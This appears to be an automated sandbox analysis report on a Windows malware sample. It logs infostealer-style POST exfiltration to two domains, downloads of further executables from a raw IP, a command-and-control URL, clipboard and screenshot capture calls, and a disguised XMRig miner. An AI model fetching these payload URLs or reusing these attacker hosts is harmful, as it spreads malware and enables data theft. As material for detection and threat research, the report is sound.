Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 46Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=A5BVGTFOWUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12810Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ILVZO8LAVB6SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12822Host: pancakedipyps.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=NLADBOIZ7F5IUIG50VNUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15116Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=41IXZLLKRRXJT9RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15086Host: pancakedipyps.click

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FBE0C0 recv,recv,recv,recv,

0_2_00FBE0C0

Source: global traffic	HTTP traffic detected: GET /files/dodo/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11

Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: pancakedipyps.click

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: grannyejh.lat

Source: skotes.exe, 00000006.00000002.3384635500.00000000010F4000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.0000000001089000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.000000000104B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3384635500.00000000010F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php1
Source: skotes.exe, 00000006.00000002.3384635500.0000000001113000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php871001
Source: skotes.exe, 00000006.00000002.3384635500.00000000010F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpH
Source: skotes.exe, 00000006.00000002.3384635500.0000000001113000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpUsers
Source: skotes.exe, 00000006.00000002.3384635500.00000000010F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpY
Source: skotes.exe, 00000006.00000002.3384635500.00000000010F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpe
Source: skotes.exe, 00000006.00000002.3384635500.00000000010F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000006.00000002.3384635500.0000000001113000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: skotes.exe, 00000006.00000002.3384635500.0000000001089000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpr
Source: skotes.exe, 00000006.00000002.3384635500.00000000010F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php~
Source: skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe
Source: skotes.exe, 00000006.00000002.3384635500.000000000109F000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.0000000001089000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/dodo/random.exe
Source: skotes.exe, 00000006.00000002.3384635500.000000000109F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/dodo/random.exe%3
Source: skotes.exe, 00000006.00000002.3384635500.000000000109F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/dodo/random.exe8476K3
Source: skotes.exe, 00000006.00000002.3384635500.0000000001089000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/dodo/random.exeN
Source: skotes.exe, 00000006.00000002.3384635500.00000000010F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe
Source: skotes.exe, 00000006.00000002.3384635500.00000000010F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exeA
Source: skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exe
Source: skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exe0
Source: skotes.exe, 00000006.00000002.3384635500.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp, 850609077b.exe, 0000000B.00000002.3026991513.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: skotes.exe, 00000006.00000002.3384635500.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp, 850609077b.exe, 0000000B.00000002.3026991513.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: skotes.exe, 00000006.00000002.3384635500.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp, 850609077b.exe, 0000000B.00000002.3026991513.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: skotes.exe, 00000006.00000002.3384635500.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.0000000001113000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp, 850609077b.exe, 0000000B.00000002.3026991513.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 00000006.00000002.3384635500.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.0000000001113000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp, 850609077b.exe, 0000000B.00000002.3026991513.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: skotes.exe, 00000006.00000002.3384635500.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp, 850609077b.exe, 0000000B.00000002.3026991513.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: skotes.exe, 00000006.00000002.3384635500.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp, 850609077b.exe, 0000000B.00000002.3026991513.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: skotes.exe, 00000006.00000002.3384635500.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.0000000001113000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp, 850609077b.exe, 0000000B.00000002.3026991513.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 00000006.00000002.3384635500.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.0000000001113000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp, 850609077b.exe, 0000000B.00000002.3026991513.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: skotes.exe, 00000006.00000002.3384635500.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp, 850609077b.exe, 0000000B.00000002.3026991513.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: skotes.exe, 00000006.00000002.3384635500.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.0000000001113000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp, 850609077b.exe, 0000000B.00000002.3026991513.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: 7c1324dac5.exe, 0000000E.00000000.3117032209.0000000000423000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
Source: svchost.exe, 0000002B.00000002.3335720153.0000000002E3C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe
Source: svchost.exe, 0000002B.00000002.3335720153.0000000002E3C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxex
Source: 5639a58f3b.exe, 0000000A.00000003.3208648876.0000000003879000.00000004.00000800.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000003.3208546066.000000000387B000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240472156.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240286170.0000000003A9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 5639a58f3b.exe, 0000000A.00000003.3208648876.0000000003879000.00000004.00000800.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000003.3208546066.000000000387B000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240472156.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240286170.0000000003A9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 5639a58f3b.exe, 0000000A.00000003.3208648876.0000000003879000.00000004.00000800.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000003.3208546066.000000000387B000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240472156.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240286170.0000000003A9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 5639a58f3b.exe, 0000000A.00000003.3208648876.0000000003879000.00000004.00000800.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000003.3208546066.000000000387B000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240472156.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240286170.0000000003A9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 5639a58f3b.exe, 0000000A.00000003.3208648876.0000000003879000.00000004.00000800.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000003.3208546066.000000000387B000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240472156.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240286170.0000000003A9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 5639a58f3b.exe, 0000000A.00000003.3208648876.0000000003879000.00000004.00000800.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000003.3208546066.000000000387B000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240472156.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240286170.0000000003A9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 5639a58f3b.exe, 0000000A.00000003.3208648876.0000000003879000.00000004.00000800.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000003.3208546066.000000000387B000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240472156.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240286170.0000000003A9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 5639a58f3b.exe, 0000000A.00000002.3380643533.0000000000C72000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000003.3057320495.0000000000C99000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000002.3380643533.0000000000CFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/
Source: 5639a58f3b.exe, 0000000A.00000002.3380643533.0000000000CFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/9
Source: 5639a58f3b.exe, 0000000A.00000002.3380643533.0000000000D12000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000003.3057320495.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000003.3284814163.000000000383F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/api
Source: 5639a58f3b.exe, 0000000A.00000003.3284814163.000000000383F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apigsK2
Source: 5639a58f3b.exe, 0000000A.00000002.3384196465.000000000383A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apiq
Source: 5639a58f3b.exe, 0000000A.00000002.3380643533.0000000000C99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat:443/api
Source: 850609077b.exe, 0000000D.00000002.3381728843.00000000012A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/
Source: 850609077b.exe, 0000000D.00000002.3381728843.00000000012A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click//
Source: 850609077b.exe, 0000000D.00000002.3381728843.00000000012A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api
Source: 850609077b.exe, 0000000D.00000003.3359993193.0000000003A67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/f
Source: 850609077b.exe, 0000000D.00000003.3360072814.0000000003A67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/h
Source: 850609077b.exe, 0000000D.00000002.3381728843.000000000125A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click:443/api
Source: skotes.exe, 00000006.00000002.3384635500.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.0000000001113000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp, 850609077b.exe, 0000000B.00000002.3026991513.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: 5639a58f3b.exe, 0000000A.00000003.3208648876.0000000003879000.00000004.00000800.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000003.3208546066.000000000387B000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240472156.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240286170.0000000003A9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 5639a58f3b.exe, 0000000A.00000003.3208648876.0000000003879000.00000004.00000800.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000003.3208546066.000000000387B000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240472156.0000000003A98000.00000004.00000800.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000003.3240286170.0000000003A9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Intel_PTT_EK_Recertification.exe, 00000024.00000003.3203826106.000002266CCD0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000025.00000002.3210301237.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms
Source: Intel_PTT_EK_Recertification.exe, 00000024.00000003.3203826106.000002266CCD0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000025.00000002.3210301237.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard
Source: Intel_PTT_EK_Recertification.exe, 00000024.00000003.3203826106.000002266CCD0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000025.00000002.3210301237.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard%s

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913

Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.6:49895 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.6:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.6:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.6:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.23.76:443 -> 192.168.2.6:50000 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe

Code function: 10_2_00430F40 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

10_2_00430F40

Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe

Code function: 10_2_00430F40 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

10_2_00430F40

Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe

Code function: 10_2_004310F0 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

10_2_004310F0

Source: 1459165c97.exe, 0000002A.00000003.3316994086.0000000005E30000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_90eac9a2-3

Source: 1459165c97.exe, 0000002A.00000003.3316994086.0000000005E30000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_809404f8-f

Source: Yara match	File source: 43.3.svchost.exe.53d0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.3.1459165c97.exe.6050000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.3.svchost.exe.53d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.3.svchost.exe.55f0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.3.1459165c97.exe.5e30000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.3.svchost.exe.53d0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.3.svchost.exe.55f0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002B.00000003.3326988369.00000000055F0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000003.3324377603.00000000053D0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000003.3316994086.0000000005E30000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000003.3317173955.0000000006050000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
